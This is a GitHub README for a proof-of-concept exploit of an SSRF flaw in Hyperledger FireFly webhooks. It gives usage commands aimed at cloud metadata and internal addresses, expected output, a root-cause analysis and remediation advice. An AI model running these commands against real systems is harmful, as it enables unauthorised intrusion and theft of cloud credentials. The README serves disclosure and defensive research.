hakaioffsec/cve-2026-82957Proof-of-concept exploit for CVE-2026-82957, an SSRF in Hyperledger FireFly webhook subscriptions that forces the node to request internal or cloud metadata URLs.
A proof-of-concept exploit for CVE-2026-82957, a Server-Side Request Forgery (CWE-918) in Hyperledger FireFly Core's webhooks event transport. Any client that can create an event subscription can register a webhook whose target URL is never validated — when a matching event occurs, the FireFly node itself issues the HTTP request. Pointing it at internal-only addresses (cloud metadata, loopback, RFC1918 services) turns the node into a confused deputy.
Python 3 standard library only — no dependencies.
$ python3 cve_2026_82957.py --help
Step 1 — start a listener on the machine the FireFly node should hit (the SSRF victim):
$ python3 -m http.server 8000 --bind 0.0.0.0
Step 2 — run the exploit. -t is the FireFly API base URL, -u is the URL the node will be forced to request:
# Point at your listener (host as seen from the FireFly container)
$ python3 cve_2026_82957.py -t http://target:5000 -u http://<host-ip>:8000/PWNED
# Arbitrary internal target (cloud metadata, internal service, etc.)
$ python3 cve_2026_82957.py -t http://target:5000 -u http://169.254.169.254/latest/meta-data/
# Non-default namespace
$ python3 cve_2026_82957.py -t http://target:5000 -n default -u http://<host-ip>:8000/PWNED
For a FireFly node running in Docker, <host-ip> is the bridge network gateway — find it with docker network inspect <network> (field IPAM.Config.Gateway, e.g. 172.21.0.1).
Expected output:
[*] Step 1: creating webhook subscription with unvalidated internal URL
[+] Subscription accepted (201) - id 9bd2bbb9-... - host was NOT validated
[*] Step 2: triggering event to fire the webhook
[+] Broadcast accepted (202)
[!] The FireFly node has now issued the request itself.
Listener log — the source IP is the FireFly node's container IP, not the attacker's machine, proving the request was forged by the server. SSRF confirmed:
172.21.0.8 - - [12/Oct/2026 17:46:47] "GET /PWNED HTTP/1.1" 404 -
215c69181 ("Base implementation of webhooks invocation", 2021-06-20)e3c9b8d89 (main) — no commit between the two adds host validationFile: internal/events/webhooks/webhooks.go
| Line | Code | Issue |
|---|---|---|
| 191 | url: options.GetString("url") | target taken verbatim from user input |
| 266 | ValidateOptions(...) | validates format/headers/timeouts but never the host |
| 394 | req.r.Execute(req.method, req.url) | request is fired |
There is no allowlist/denylist on the resolved destination: no block for loopback, private (RFC1918), or link-local (169.254.0.0/16) addresses, and both host and scheme are fully attacker-controlled. FireFly ships no API auth plugin by default, so subscription creation can be unauthenticated.
POST /api/v1/namespaces/{ns}/subscriptions — creates the malicious webhook (returns 201 Created for internal URLs)POST /api/v1/namespaces/{ns}/messages/broadcast) — triggers the forged requestCWE-918 Server-Side Request Forgery. An attacker can:
169.254.169.254) → escalation into the cloud account"reply": true the internal response is returned to the attacker as a FireFly event — not blind~8.5 High CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N — severity depends on whether the API is behind authentication.
In ValidateOptions, parse the URL, resolve the host, and reject loopback/private/link-local/unspecified addresses; restrict the scheme to http/https; re-check the resolved IP at connection time (custom DialContext) to defeat DNS-rebinding; preferably expose a configurable allowlist of permitted webhook hosts.
This tool is for educational and research purposes only. Use it only on systems you own or have explicit permission to test. The author is not responsible for any misuse or damage caused by this program.
QuimeraX Intelligence is an advanced EASM and Cyber Threat Intelligence platform specializing in identifying critical vulnerabilities in complex systems. The platform proactively monitors, detects, and alerts clients about security threats, ensuring transparency and rapid response to potential risks. Clients receive immediate notifications and comprehensive reports if their systems are found vulnerable, enabling them to take protective action. learn more
Hakai Security is a cybersecurity company founded by security professionals, committed to technical excellence. We offer tailored security solutions including advanced penetration testing, realistic Red Team simulations, and secure development practices to proactively protect our clients' assets from evolving cyber threats.
Hacking Club is the training platform where you learn cybersecurity through hands-on lessons, labs, and challenges created by experts working in our security consulting firm: straight from the battlefield to your training.